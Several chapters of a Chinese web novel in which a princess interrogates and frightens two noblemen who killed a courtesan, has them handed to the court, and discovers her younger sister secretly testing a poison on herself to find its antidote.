七皇子三顾石头巷,终于在深夜让那首打油诗里的高人跟他回了府上。 很快这首打油诗便在街头巷尾销声匿迹,干净的像是没有出现过一般。 燕晚清收到这个消息的时候,燕凌珍正在给她把脉。 “得柴右得天下,这人可真敢说啊。”燕凌珍一下子就知道这是一首藏尾诗,她撇撇嘴,将银针轻轻的拔出来:“那七皇子真好上钩,这种故弄玄虚的也值得他三顾上门。” 燕晚清闻言眼底的笑意加深了不少。 “藏尾诗只是吸引人的噱头,六妹你错了。” “我错了?”燕凌珍不解。 “这位柴先生只要让七皇子上门,便有手段让他心怀惜才之心,从而让他第二次第三次上门,这人是有真才实学的,不然那些达官贵人何故络绎不绝的光临石头巷?” 第五十章 她死后,没有人是无罪的 燕晚清从那首打油诗出现的时候,便知道柴右想干什么。 这三日,他一点没闲着,确实给一些达官贵人答疑解惑,这才会让人才之名传到萧鸿深的耳边。 “原是这样。”燕凌珍很快便将这件事情忘记了,她将银针全部收拾好,刚站起身,却突然眼前一黑,被燕晚清赶紧扶住。 面对燕晚清的疑惑,燕凌珍脸上有些不自然:“这几日没睡好罢了。” 燕晚清见她唇色发白,整个人也不似之前那般有活力,她微微蹙眉:“真的?” “自,自然!”燕凌珍慌乱甩开燕晚清的手,将药箱收拾好:“我困了,回去休息了,阿姐记得按时吃药。” 说完,瘦小的身影便很快消失在门口。 燕晚清的眉头却始终没有松开,她好似忽略了什么重要的事情,但是一时之间想不起来。 “小六这几日都在干什么?”燕晚清对着空气问道。 藏在暗处的否极回答:“六小姐自从上次发现属下后,院子周围便有了守卫,窥探不得。” 小六在掩藏什么? 燕晚清心怀不安,可是很快便被否极带来的消息冲散遗忘。 “主子,红雾那边传来消息,孙文兴被抓住了,跟他一起的还有燕民生。” 燕晚清闻言颔首:“人现在何处?” “原地摁在了烟花巷,等主子发落。” “烟花巷不安全,把人送到庄子上,我亲自过去审。”燕晚清沉声说道。 夜色降临。 昏暗的房间里,烛火摇曳。 孙文兴在被砸的乱七八糟的屋子地上坐着,他不明白自己只是去看了一眼西域舞娘跳舞,怎么一杯茶水下肚子,醒来就在这个房间里了。 “这可如何是好?都怪你非要跑出来看什么西域舞娘,本来庄子上呆的好好的,有吃有喝什么都不用愁,熬过这段时间屁事没有,你说你搞的!我娘要担心死我了。”旁边的一个身材发胖的男子不停的说道,嘴唇颤抖,满脸恐慌。 孙文兴看着那张油头粉面的肥猪脸,气不打一处来:“闭嘴燕民生,你再多啰嗦一句,我就拿臭袜子把你的嘴堵上。” 燕民生被凶了一脸,窝囊的坐在了椅子上,不吭声了。 肥胖的身躯挤在一张椅子上,看起来有些油腻又可怜。 孙文兴从地上爬起来,清瘦的脸上有些狰狞:“你们这群无法无天的混账!这里是京都,天子脚下,你们知道我阿姐是谁吗?我阿姐可是当今圣上的贵妃娘娘,我父亲可是威武大将军,你们抓有几条命够杀的,竟然敢这么对小爷!” 他说着猛地踹了一脚门,正巧门从外面推开,他一个不防备被推的摔倒在地上,疼的满地打滚。 “我要杀了你们!杀了你们!”孙文兴骂道。 “杀了谁?”门口站着三个人,为首的人裹在黑袍之中,身形瘦削,声音低哑,听着就是女子的声音。 另外两个人一男一女,带着无脸面具,在雪地的衬托下,阴森可怖。 燕民生看见门开的瞬间,便钻进了桌子下面,瑟瑟发抖。 孙文兴见他没用的样子,气不打一处来,爬起来对着他的背部便是一脚,然后气冲冲的冲着门口骂道:“放肆!你可知小爷我是谁,还不赶紧放了小爷,信不信我把你们全杀了!” 黑袍之下的人轻笑出声,他缓步走进了屋内,身后的两个人便给他搬来了椅子,黑袍人坐下依靠在椅子上,冲着孙文兴冷笑道:“孙公子好大的架子,到了这里还不老实。” 话音刚落,带着面具的男人直接上前,在孙文兴的谩骂声中直接卸掉了他一条胳膊。 疼的他发出杀猪般的惨叫。 黑袍人似乎是觉得吵闹,摆了摆手。 面具男上手卸了孙文兴的下巴,揣着他的膝盖,将其摁跪在了地上。 这下子孙文兴不敢吵闹了,疼的脸发白,额头上冷汗直冒。 “你究竟是谁?抓,抓小爷过来若是为了求财,小爷有的是钱……只要你放了小爷……” 黑袍人慵懒的翘着二郎腿,嬉笑道:“有的是钱?呵……头一次看见人上赶着送钱的,不过可惜了,我不稀罕你的钱。” “那你是……”孙文兴面色更加惨白。 不为了钱,那就是为了命。 得到这个认知后,一旁的燕民生也躲不住了,爬过来便跪在了地上。 “大侠!我们可都是良民啊,你们是不是抓错了人啊。” “良民?”黑袍人似乎是听到了什么好笑的东西:“我问你们,前几日烟花楼里打死人,是谁的手笔?” 孙文兴和燕民生对视一眼,几乎是同时指向了对方。 “是他!” “是他!” 话音刚落,两个人恶狠狠的看向对方:“燕民生你疯了不是?分明是你动的手。” 燕民生也不甘示弱:“你说要换个玩法,人才出事的。” 孙文兴见平日里唯唯诺诺的燕民生此刻原形毕露,一时气不打一处来:“放屁!明明是你摔碎了杯盏,让那贱人踩着杯盏跳舞。” “你说她手生的美,硬是掰断了让她弹琴怎么不说呢?!” …… 两个人你一言我一句的说起当时逼死柴姝的画面,毫不相让,几乎要打起来。 一个活生生的女子,被他们逐渐折磨的凋零破碎,最后香消玉损,可是在他们的眼中却好似什么都不是。 孙文兴见黑袍人不作声,在地上爬过来想要靠近,被面具女一脚踹翻在地上,他打了个滚不敢喊叫,又老老实实的跪好。 “这位大人,当时走掉确实是我们不懂事,那柴姝是您的人,我们愿意赔偿,多少钱您开口便是,我们两个是烟花楼的常客,您大人有大量,别跟我们一般见识。” 孙文兴以为黑袍人是因为柴姝死了,烟花楼损失了,才把他们俩给绑了。 燕民生一想也赶紧爬过来,将脖子上手上身上的所有珠宝玉佩摘下来放在地上。 “这些您收着,不够还有,我们真没有想到那柴姝这么不经玩,才几下就死了……” “呵……”黑袍人低低笑出声,声音嘶哑听不出情绪:“才几下就死了?” 那般妙龄少女死的时候,浑身上下没有一处是完好的,竟然被他们浅浅的形容成“不经玩”。 多么可笑! “既然你们这么喜欢玩,那今天晚上我们便好好的玩一玩吧。” 黑袍人拍了拍手,门外便有人进来,送上了一套刑具。 孙文兴和燕民生见状吓得肝胆俱裂,一胖一瘦紧紧抱在一起,尤其是那燕民生竟然直接吓出不明液体。 “我大伯可是镇国公,堂姐是安平郡主,你不能动我!”燕民生哭嚎出声,声嘶力竭,像极了一只待宰猪之前的挣扎。 第五十一章 慈母多败儿,燕民生偿命 回应他的是黑袍人阴恻恻的笑声。 刑具被毫不犹豫的架在了两个人身上,一胖一瘦宛若寒风中被拨光毛的野鸡,瑟瑟发抖,一句话都再说不完整了。 “现在知道怕了?”黑袍人把玩着手里一把匕首,匕首寒光衬托着他的手腕瓷白纤细。 话音刚落,那匕首几乎是擦着燕民生的腿边,直接钉在了他身后的墙上。 燕民生吓得几乎要翻白眼。 黑袍人却不管不顾,又从案板上取来新的匕首。 “你们可知她也是爹生妈养的,家里也有人在等她回家?”声音喑哑,宛若地狱使者:“妓子的命便不是命了?她就该被你们玩弄致死?” 孙文兴红着眼,此刻已然被恐惧逼得疯癫:“卖身的自古便是下贱,难道还要和我们平起平坐不成?!你动我一下试试,我们孙家不会放过你的!” “那我便试试,今日便是杀了你,孙家能拿我如何!”黑袍人从怀中掏出两张纸,面具人便用匕首割开了孙文兴和燕民生的大拇指摁在了纸张上。 “你到底想要干什么!”孙文兴一看签字画押了,心都跟着慌了:“你到底是谁!” 回应他的是以一记擦着他耳边过去的匕首,匕首锋利,直接隔开他的面颊,吓得他立刻噤声。 就在此时,又是一道黑袍人奔走而来,见到屋内场景,他大喊:“不可!万万不可!” 屋内的黑袍人站在原地,挥了挥手,面具人便将架在墙上的孙文书和燕民生给打晕过去。 “为何不可?你不想复仇么柴右。”黑袍人将帽子摘下,露出一张清冷的面庞来,赫然便是燕晚清。 柴右摘下帽子,露出一张温润的面容,刮掉胡子的他看起来整个人很谨慎,丢掉了浪荡不羁,现在更像一个饱读诗书的青年人。 柴右轻叹一口气:“郡主何故为柴某做到这种地步,郡主可知今日这两人若是死了,往后等着燕孙两家的会是什么?” 燕晚清冷笑:“两个混账,杀了也是为燕孙两家除害,谁又能说本郡主什么。” “郡主此言差矣,燕民生乃是你二叔的嫡子,听闻他近日上京,若是嫡子身死,他必定查个水落石出,届时郡主又要作何解释?再说那孙文兴,乃是郡主母亲的侄子……郡主不必为柴某做到这种地步。” 柴右满脸都是不赞同。 燕晚清眼中藏有深意,她勾唇轻笑:“先生这是怎么了?当日求本郡主复仇的是你,现在让本郡主放下屠刀的也是你,真有点猜不透先生是什么意思了。” “柴某以为,立身天地得遵循立法,以恶制恶只能让天下乱套,郡主身份高贵,又如何弄脏自己的手,不是么?”柴右丝毫不退,目光真诚的看向燕晚清。 这几日他想了很多,所以才有了今日跑来拦住燕晚清的举动。 燕晚清站在原地,叹了一口气,取出了两张纸递了过去。 “这是?”柴右接过,看到上面的诉状之后,愣了一下。 燕晚清面色柔和些许:“先生所求,安平送上,仅此而已。” “天亮便将这二人扭送到大理寺。”她吩咐属下。 柴右听罢立马鞠躬:“多谢郡主!” 燕晚清将帽子重新戴上,从柴右身边走过的时候,轻叹一声:“先生坚持的事情,在富贵迷人眼的京都,怕是寸步难行,即便是这样,先生也要坚持么?” 柴右面色坚定:“心驰所往,必当竭诚所至。” 这次燕晚清没说什么,跨过栏杆迈入了夜色。 …… 大理寺的人一开门傻了,两个官宦子弟被五花八绑的丢在门口,脑门上还贴着罪诏书,白纸黑字将他们的罪行写的清清楚楚,据说那天大理寺卿天还没亮就被下属从小妾的屋里拽了出来。 事情有关镇国府和将军府,大理寺卿不敢懈怠,连续派了好几波人来告知。 孙家立马就去人了,唯独这镇国府没什么动静。 也只是府外没什么动静。 府内,二婶燕刘氏呼天抢地的要去救自己的儿子,燕民生。 “孙青莲你这个毒妇!你堵着门不让我出去是什么意思,我儿子现在在大理寺生死未卜,你好狠的心啊,那也是你的外甥啊!” 二婶燕刘氏跌坐在地上,手里还抱着一个布袋,沉甸甸的,因为拉扯露出一角,里面银光闪闪,全都是钱。 “我已经让人去打听消息了,你这般从镇国府跑出去,往后可是要影响整个府上人的。”孙氏身为当家主母,自然是要考虑周全。 燕刘氏一听更是崩溃:“孙青莲你说的是人话吗?都这个节骨眼了,你还在乎这些!我儿子要是有个好歹,我一定不会放过你的!” “二婶慎言!”燕晚清被从歌搀扶着从院子里出来,双眼冰冷,刚刚她便听见这燕刘氏一直直呼母亲的名字,心里很是不舒服。 “那燕民生身上沾上了人命官司,那是他咎由自取,关我母亲何事?二婶想出去可以,别从大门走,走小门。” 燕刘氏一听这话心里更加是翻江倒海:“你胡说八道什么,我家民生从小连只蚂蚁都不敢踩,怎么会杀人!” 孙氏一听也皱眉:“这到底是怎么回事?” 此时老太太也被嬷嬷搀扶着慢腾腾的走到了前院来,被寒风吹得有些瑟瑟发抖,她横眉冷对道:“都杵在外面干什么,有事回去说。” 老太太发话了,那二婶燕刘氏也不敢赖在地上,被身边的丫鬟扶起来,一群人跟着进了大厅。 大厅里烧着探炉,暖和多了。 燕晚清也跟着舒展了一下四肢,热茶一捧,整个人暖洋洋起来。 燕刘氏便直接开始了:“燕晚清你可不要含血喷人,民生怎么会惹上人命官司!” “什么人命官司?”老太太一听愣住:“你们到底在说什么?” 燕晚清瞄了一眼那燕刘氏,见她恶狠狠的瞪着自己,忍不住翻了个白眼:“你儿子做的事情,白纸黑字签字画押了,你不承认也没有办法,不如现在赶紧从小门出去,还能见见他。” “你胡说八道,怎么能这么咒自己的堂弟——” “二婶,大渭律例,杀人偿命,按罪当诛,抓紧时间啊。”燕晚清冷冷的继续说道。 慈母多败儿,燕民生杀人偿命,死不足惜。 第五十二章 宫内道观,传闻中的国师大人 燕刘氏不敢耽搁,咬牙切齿的让家丁带着从小门出去了。 如今各方人士盯着镇国府,她若是从正门出去,明日便会有很多奏折摆在圣上面前,孙氏不能让这种事情发生,连累到自家孩子。 “这是怎么了?”怀玉突然从门口进来,看着大厅里挤满了人,有些愣住。 燕晚清见他过来,起身说道:“今日天气大好,恰好是拜帖上拜访老师的日子,小侯爷走吧,马车已经备好。” 见她要走,老太太连忙呵斥:“你倒是说说民生究竟惹什么事了啊。” “好歹是你的堂弟,你怎的这般冷血?!” 燕晚清觉得好笑的很,转身停下:“他是杀了人,我能有什么办法,难不成让我给他抵命?” “晚清!”孙氏直接呵斥道:“不许胡说。” “母亲教训的是。”燕晚清看着孙氏,乖巧道。 老太太心急如焚:“总之你不许走,你二叔就这么一个嫡长子,不能出事,再有几日他便进京了,无论如何都得拖到那个时候。” 燕晚清听完眼中闪过一道深意,看来这个二叔时刻和老太太保持着联系。 “燕民生杀了人,大理寺会秉公处理,哪怕二叔来了也一样,老太太莫不是糊涂了,这饭能随便吃,话可不能随便说啊。”燕晚清声音冷了下来,带着一丝丝的警告。 燕民生怎么样,和她们镇国府可是一丁点关系都没有的,老太太要是还跟当年一样拎不清,可别怪她心狠手辣送老人家回虎丘了。 老太太被说了,登时有点下不来台,将龙头拐杖在地上砸的哐哐响。 “老太太,母亲,晚清退下了。”燕晚清头也不回的和怀玉走了出去。 一直到马车上,怀玉才问出心中疑惑。 “那燕民生是你二叔家的孩子,他杀了人?谁?” 燕晚清靠着软垫,舒缓腰上的疼痛,这几日不知道为何腰上总是乏累发疼。 “一个青楼的姑娘,名叫柴姝。”她面上没什么表情:“跟他一起动手的还有我那不成器的表哥孙文兴。” 怀玉讶然:“那这次镇国府和将军府岂不是摊上事了。” 燕晚清摇摇头:“二叔早些年便分家出去了,与我们又有什么干系,至于我表哥,将军府的人也不是吃素的,横竖是个庶子,是非黑白还是分的清的。” 将军府再怎么说也有个嫡长子镇压着,宫里还有个贵妃娘娘,不会让那些姨娘们胡作非为的。 “若是如此倒是问题不大。”怀玉松了一口气,话题又落在了今日要去拜访的人物身上:“听闻国师大人喜爱字画,我特意准备了几幅古迹,不知道他老人家会不会喜欢。” 燕晚清见他将字画拿出来,每个都包装的很好,足以见非常用心,不由得好奇道。 “都是世上难得的古迹,你花了不少心思吧。” 怀玉点点头,表情很是认真:“有事求国师,自然是要花费一些心思的,郡主是国师的徒弟,他的脾气如何,可好相处?” “师父很温和。”燕晚清记忆中的宋化虚一直都是仙风道骨的模样,永远骑着一头小毛驴笑呵呵的走在路上。 这可惜这是上一世对宋化虚的印象了。 燕晚清想起那晚在南山之上,张岚依说的那些话。 雁门关是在宋化虚回来之后才乱的。 父兄也是张岚依建议圣上派去镇守雁门关的。 燕晚清不敢多想,却也按捺不住自己往最坏的地方去做打算。 倘若这一切都和师父有关,他们师徒是不是就此就要反目成仇? “郡主?”怀玉见她面色越发苍白,不由得有些担心。 燕晚清轻轻的咳嗽一声,移开了视线:“我没事,只是想到了一些事情。” 国师一直住在宫内,圣上单独给他休憩了一座宫殿,亲自提名为“清虚观”。 在皇宫内拥有自己的道观,足以说明圣上有多么器重这位国师大人了。 怀玉自己是无法进宫的,所以他才会请求燕晚清带他进来。 一来是燕晚清的身份可以随意进入宫门,二来也是她和国师之间关系匪浅,由她引荐能留个好印象。 “到了。”马车缓缓停在了清虚观门口。 燕晚清和怀玉从马车上下来,之间大门紧闭,二人相视一眼,怀玉爬上台阶,上前敲了敲门。 好一会儿里面才有了动静,只看见是个眉清目秀的道童,他先是看了一眼怀玉,没吭声,目光又落到了他身后的燕晚清,眼前一亮。 “见过大师姐。”道童冲着燕晚清喊道。 燕晚清眼中一阵迷茫:“你是?” “师姐很久不回来了,自然是不认识师弟我的,师父可是将师姐的画像放在观内,让后面的师兄弟们都记住师姐的模样呢。” 听着这自称是她师弟的小道童所言,燕晚清这才缓过神。 原来在她出师之后,宋化虚广收徒弟,不设门槛,所以她现在有特别多的师弟。 “师父可在观内?”燕晚清想到今日来的目的。 道童挠了挠头:“大师姐今日来的不巧,师父刚好出去了。” 怀玉赶紧看向燕晚清,感受到他的焦急后,她又问道:“可是我给师父下了拜帖,约的是今日,他怎么突然出门?” 道童摇了摇头:“师父只说是特别着急的事情,临走的时候还特意交代我在这里等师姐,还有跟这位小侯爷说一声抱歉。” “可有说什么时候回来?”怀玉紧跟着问道。 小道童又说道:“师父没说什么时候回来,一般这样,少则三五天,多则十天半个月才会回京了。” 燕晚清蹙眉,她总感觉事情没有这么简单。 “今日可有人入观?” 道童摇头:“不知啊师姐,你就别为难师弟我了,师父他老人家的事情何曾告诉过我们呐。” 听完燕晚清越发觉得宋化虚是在躲着他们。 要是这样,不如一开始就不要接了她的拜帖。 偏生搞出这出临时放人鸽子的事情。 让她无端多了几分火气。 “既然是这样,那我们便回去了,改日再来拜访。”怀玉朝着小道童施礼:“有劳了小师父。” 燕晚清上了马车,便看见那小道童将大门合上,她掀开车帘往外看,不知为何,总感觉这皇城之内,有一双眼睛在紧紧地盯着自己。 第五十三章 在外柔柔弱弱,在家作威作福 回去的路上,连带着燕晚清都觉得不好意思,接连对着怀玉抱歉。 谁叫她有个这么不靠谱的师父,拜帖都接了,还喜欢鸽对方。 怀玉看上去有些黯然,但依旧还是好脾气。 燕晚清倒上热茶,刚要给怀玉递过去,马车却在此时突然震了一下,惯性使她直接扑上前,连人带着一壶茶水全部泼到了怀玉身上。 她这辈子都没有这么尴尬过。 燕晚清看着身下呆愣住的怀玉,见他脸颊通红,不由得手忙脚乱爬起来。 “对,对不住,小侯爷,你没事吧。”再看人家身上的衣服都被茶水染上深色的印记,她更加觉得过意不去。 怀玉却比她还要紧张,脸颊红的几乎要滴血。 “不碍事,回去换身衣服便好。” 气氛一度有些尴尬,燕晚清轻咳一声冲着外面喊道:“从歌,怎么回事?” “小姐,是您的二婶拦住了马车。” 燕晚清掀开了车帘,这才发现是马车到了大理寺这条路上来了。 回镇国府,大理寺是必经之路。 那燕刘氏在外面嚎啕大哭,六神无主,看到镇国府标志的马车便直接上前拦住,这才导致马儿受惊,连带着马车都不稳了起来。 “从歌,叫你家小姐出来,我家夫人哭的不行了。”马车外的嬷嬷冲着从歌吼道。 从歌见她如此无礼,不由得心中升腾起一股子怒气。 她家小姐可是郡主,身份何其尊贵,这个嬷嬷竟敢如此无礼。 刚要发难,便见车帘掀开,燕晚清带着面纱出现在众人面前。 经过燕刘氏这一哭一闹,周围已经聚集了很多人,开始指指点点。 燕晚清见大理寺门口站着护卫,结结实实的堵在门口,想来她这个二婶是连门都没有能够进得去。 大理寺的人个个都猴精得很,这个节骨眼上,怎可能放燕刘氏进去呢。 “晚清啊,你想想办法,让二婶我进去看看你堂哥啊,他从小到大都没有吃过苦,这可如何是好啊,不知道有没有饿瘦啊。”二婶哭的声嘶力竭,看起来好不可怜。 不过是一晚上哪里能饿瘦。 燕晚清回忆那燕民生的体型,宛若一个熊,哪里是能够轻易饿瘦的类型。 “大理寺秉公执法,这……我也是没辙啊二婶。”燕晚清柔柔弱弱的说道。 二婶见她外面一副模样,家中又是一副模样,不由得气打一处来:“你无非就是不肯救你哥哥,真是个恶毒心肠!” 燕晚清西子捧心伤心道:“堂哥杀了人,我身为安平郡主自是不能懂法犯法的,不然将圣上,将百姓置于何地?更何况女子不参与朝政,我一介女流如何能和大理寺卿认识啊,二婶实在是高看我了,堂哥除了事情,我也很难过啊。” 一番话不仅将那燕民生犯得事情说的清楚明了,更是将镇国府摘得干干净净,在百姓中留足了好印象,让马车内的怀玉不由得束起了大拇指。 这个安平郡主果然不是一般的弱质女流。 只不过人前人后两幅面孔,倒是让他有些吃惊了。 燕刘氏见燕晚清这般,更是气得神志不清,刚要发怒,便看见一个贵气十足的夫人从大理寺出来。 她指着那夫人冲着守门的人大喊:“为何她能进去?” 那夫人眼睛似乎长在天上,一个眼神都不带给燕刘氏的,直接从台阶上下来,架势十足。 她带着人从燕晚清的马车前走过,然后又倒退了回来,惊呼道。 “这不是安平郡主么,好久不见啊。”那夫人捂着唇笑道。 燕晚清想不起来这位夫人是谁,便见她指手画脚的描述说小时候见过。 “多少的时候?”她自小便技艺超群,见过的人都不会忘记,但实在是对这位夫人没有印象。 “哎呀,安平郡主贵人多忘事。”那夫人捂着唇笑道:“你还在襁褓的时候,跟着妯娌回了一趟娘家,就是那个时候认识的了。” “我家夫人是将军府的柳姨娘。”旁边的嬷嬷又补充了一句。 燕晚清的伤心表情有些皲裂,她好半饷才深呼吸一口气:“啊,原来是柳姨娘,真是好久不见。” 柳姨娘笑道:“想起来就好,想起来就好啊。” 燕晚清:“……”襁褓里的事情,她能想起来才有鬼,她又不是妖孽。 燕刘氏见自己被冷落了,从地上爬起来走过来,一把推开柳姨娘:“你是将军府的,那孙文兴是你什么人?” 柳姨娘被推的一个趔趄,气不打一处来:“孙文兴是我儿子,你敢推我?!哪里来的疯婆娘,大理寺就没有人管管吗?!” 这话一出,眼看着那些守卫便要上前,燕晚清冷下眼来扫过去,几个人纷纷站住,装作什么都没有看到。 燕刘氏自从嫁给了燕家二郎,从来都是受人尊敬的,哪里受过这种委屈,当下便冷笑道:“孙文兴也杀了人,凭什么你能进去,我不能?” “呸呸呸!你胡说八道些什么呢,我儿子可没有杀人,你别乱说话。”柳姨娘见燕刘氏胡说八道,直接给嬷嬷使眼色,要来捂住燕刘氏的嘴。 两边的嬷嬷都不是好惹的,一边是深宅内院特意留下的粗使嬷嬷,一边是庄子上干粗活的嬷嬷,两边对上竟然是不分上下。 燕刘氏将自己刚刚被大理寺守卫推攘和无视的怨气全部撒在了这个矫情的柳姨娘身上:“姨娘?不过是个妾室,竟然还摆出这幅架子,凭什么你儿子没事,你休想!” 她上前一把揪住柳姨娘精致的发髻,直接扯着她的头皮往地上拉,那边柳姨娘疼的尖叫,尖锐的指甲便上前来抓燕刘氏的脸,主仆双方打得不可开交。 燕晚清站在一旁看的津津有味,怀玉不知道何时出现在她的身后,将她往后面拉了拉,避免被误伤到。 眼看着打得差不多了,燕晚清才掩盖住自己的笑意,冲着大理石的那几个守门的使了个眼色。 守卫赶紧喊了人过来拉住这群打架的老娘们。 “大理寺门口竟然敢聚众闹事,你们都想进去坐牢是吗?!”一道威严的声音从门口响起。 一个体型微微发福的俊美中年男人从大门口出现。 他就是大理寺卿——谢群。 第五十四章 就一条命,可不够这位折腾的 谢群见门口喧哗便出来看看,谁知道看到一群老娘们在打架,登时气不打一处来。 尤其是看到刚从里面出来的柳姨娘被打了,他更是大惊失色。 正准备上前,目光和一旁看热闹的燕晚清对上了,他一口气差点没有喘上来。 这小魔王也来了。 是了,杀人的一个是她的堂哥,一个是她的表哥,都跟着小魔王沾亲带故的,可不就得过来看看吗。 谢群心里门儿清。 刚刚肯定是这小魔王要看热闹,才阻止了自己手下去制止这场打架。 真狠啊。 自家的打架也看,这心得多狠。 谢群心里犯起了嘀咕,不知道燕晚清此刻是怎么想的,他不敢轻易上前,只得虎着一张脸站在原地。 但是这幅面孔落在燕刘氏和柳姨娘的眼中,就是大事不好。 两个人赶紧互相搀扶起来,将散落一地的朱钗胡乱的往对方发髻上插。 “都是闹着玩,大人别生气,我们没有在打架斗殴,没有那么严重。”柳姨娘笑道。 谢群没说话。 他不知道说什么。 此时燕晚清动了,她从人群后方走上前,声音娇柔:“都是误会,大人见谅。” 谢群得到了暗示,原本冷峻的表情转化柔和:“真是这样?” 众人忙不迭的点头。 “既然是这样,那本官便不与你们这群女人计较了,都各自散去吧。”谢群继续说道。 柳姨娘赶紧带着人便走了,燕刘氏眼巴巴的看着大理寺大门,想要开口却在看到谢群的冷眼时给憋了回去,她气呼呼的直接上了马车。 今日出行的马车不是很大,那燕刘氏本就身形虚胖,她一个人坐下后,马车眼见的拥挤起来。 再加上她心里有气,直接让自家嬷嬷挥动着马鞭驱使马车离开了。 直接将燕晚清还有怀玉丢在了原地。 燕晚清面上表情不变,但是谢群在一旁好似看到了她的心里在噼里啪啦烧火。 “郡主若是不嫌弃的话,本官的马车可以借给郡主用。”谢群小心翼翼的说道,他一点都不想看见小魔王生气。 尤其是别生自己的气。 他就一条命,可不够这位折腾的。 燕晚清听到他说话,淡淡的扫了他一眼。 只一眼,谢群便回忆起当年自己还是新晋状元郎的时候,燕晚清是怎么一鞭子把他的马儿抽的满大街乱窜的。 往事不堪回首,谢群如今已经混到了大理寺卿,依然对燕晚清有从骨子里的恐惧感。 就像是老鼠看见了猫。 可能这就是血脉上的压制。 人人都说现在的安平郡主脾气变好了,这件事情他谢群第一个就不同意。 看看这眼神,这是一个善良的人能有的眼神吗? 这必不能是! 燕晚清不知道谢群心里在想什么,她朝着谢群走了两步,对方下意识的往后退。 她挑眉:“谢大人别来无恙啊。” 谢群浑身僵住:“小官见过郡主。” “大理寺能有今天,谢大人劳苦功高,本郡主深感欣慰,他日若是有机会,必定是要在圣上面前多多夸赞谢大人的清正廉洁,爱民如子的。”燕晚清意味深长的说道。 谢群双手作揖:“那就多谢郡主好意了。” 这是在点他呢,谢群心里门儿清。 燕晚清见谢群这么懂事,心里舒坦了不少,于是给他介绍到:“瞧本郡主这记性,谢大人,这位是北疆的小侯爷。” 怀玉和谢群认了个脸熟。 谢群便赶紧让人去把他的私家马车给牵出来,赶紧送这小魔王回去。 好不容易送了燕晚清上马车,看着马车消失在街角,谢群这才擦了擦额头上的虚汗。 怎么这人越长越让人心慌呢。 小时候不爱笑,长大了爱笑了,依旧是那般吓死人。 谢群叹了一口气往回走,旁边的师爷赶紧凑过来。 “那孙家的姨娘说是晚上还要来给孙公子送夜宵,可要现在就吩咐下去?” 谢群站停,直勾勾的看着师爷一眼,抬手对着他的帽子便是一下。 师爷被打了个措手不及,帽子直接卡着眼睛了。 刚整理好帽子,看清楚眼前的东西,便听见谢群说道:“说,你这次收了多少银两。” 师爷讪笑:“大人说的这是什么话,小的哪儿敢啊。” “甭管你敢不敢,收多少都老子还回去。”谢群算是听明白燕晚清的话里有话了。 这是告诉他,孙文兴和燕民生杀死青楼柴姝的事情要秉公执法,不然就要去圣上面前告他。 那燕晚清随意便能进宫面圣,现在性情也越发的让人捉摸不定,光是门口看双方掐架,就不是一个正常人能干出来的事情。 谢群决定,惹谁都不要惹这位安平郡主。 师爷心里肉疼的很,但是谢群说的话他要听,两个人本就是绑在一根绳上的蚂蚱。 “那夜宵的事情呢?” 谢群气不打一处来,对着师爷又是一顿猛锤:“还他么夜宵!把你做成夜宵给孙文兴送过去行不行啊!” “夜宵,夜宵!让你夜宵!” “传令下去,从现在开始,除了本官,谁都不能轻易召唤那二人。” …… 回到家中,燕刘氏已经去找老太太哭诉了。 燕晚清和怀玉分开后,便各自回到了住处。 莲园内。 燕凌珍已经坐在了屋内,手边上正是她常年不离手的药箱。 燕晚清进门的时候,她正在捂着唇低低的咳嗽。 “阿姐。”见到燕晚清进来,燕凌珍赶紧站起来,手不自然的放在了身后。 燕晚清蹙眉,上前:“手伸出来。” 燕凌珍讪笑:“阿姐这是怎么了?” “我不说第二遍。” 燕凌珍低着头,将双手摊开,小手细白,干净。 “哼。”燕晚清却是冷哼一声,直接将她转过身来,只看见背后一团血污。 她直接冷下脸来。 “燕小六,你最好老实交代最近都在干什么。” 燕凌珍不安的舔了舔嘴唇,舌尖血腥气冲的的她几乎干呕,被她生生咽下。 “阿姐别生气,我最近忙着解毒,所以身体虚了些。” “你当阿姐好骗是么?”燕晚清冷笑,她直接撸开燕凌珍的袖子,原本光滑的手臂上面全是层层叠叠的刀疤,新伤压着旧伤,看起来狰狞可怕,在往上便是密密麻麻的针眼,她只觉得心口疼痛异常:“前些时日,你高价收千机,竟是用到了自己身上……” 第五十五章 侯府的继承人,竟然是个女子 燕凌珍心乱如麻,这是她这段时间一直在小心翼翼维护的秘密。 今天被最怕知道的人知道了。 她现在不知道应该如何是好。 “阿姐,我真的有办法解毒,我不会拿自己的身体开玩笑的。”燕凌珍看着燕晚清郑重的说道。 燕晚清此时说不清楚心里是气愤多一点还是恐慌多一点。 这是她的妹妹,从小便亏欠最多的妹妹。 可是燕凌珍竟然愿意为她以身试毒……她的心脏都被一只无形的大手抓的生疼。 “你何苦为我做到这种地步。”燕晚清眼角猩红,兀自落下一滴泪来。 这是她重生后的第一次落泪。 燕凌珍比她更慌,从未见过阿姐哭泣的她,手忙脚乱的去给她擦眼泪,笨拙的安抚:“阿姐不哭,不哭,这些时日我一直在观察着体内的千机,发现它是有规律可循的,再假以时日,我定能找出解毒之法。” “你是大夫肯定知道千机对于五脏六腑的伤害,小六你糊涂啊!” 燕凌珍紧紧抓住燕晚清的手:“我是红佛手,是天底下最年轻却又最声名远扬的神医,天底下没有我解不了的毒,阿姐应该对我有信心才是。” “当真?”燕晚清见自家小姑娘信心满满,不忍再来打击。 有的时候毁灭人希望的往往是人的本身。 燕晚清深知这个道理。 既然燕凌珍这般有信心,不喜以身试毒,她这个阿姐又岂能拖后腿。 燕凌珍见燕晚清不再那般排斥和难过,心里松了一口气。 她还以为阿姐要因为这件事情跟她置气呢,还好没有。 果然她的阿姐是全天下最通情达理的阿姐! 姐妹俩又聊了一会儿,燕凌珍便让人关了门,开始给燕晚清布针。 布针的时候,她突然神神叨叨的压低声音。 “阿姐我跟你说件事情,你谁都不能告诉哦。” 燕晚清见状轻笑点头:“好,阿姐谁都不告诉。” “阿姐有没有发现那北疆的小侯爷有点奇怪?”燕凌珍比划道:“阴阴柔柔的那种。” 燕晚清点头:“北疆和京都有文化差别,也许是那边的男子都如此。” “才不是!”燕凌珍察觉到自己的声音大了,赶紧压低声音凑到燕晚清耳边说道:“阿姐难道没有觉得那小侯爷更加适合穿女装吗?他穿起来可能比不上阿姐,但肯定是要比我好看许多的。” 燕晚清愣了一下:“你什么时候发现的?” 燕凌珍不以为意:“一开始觉得奇怪,后面便试探了几次,她掩藏的很好,甚至还用了熏香来掩藏自己身上的特殊药香,但是我是谁啊,我的鼻子比狗都灵,闻了几次之后,我便越发确信了。” “真是个小机灵鬼。”燕晚清夸赞道。 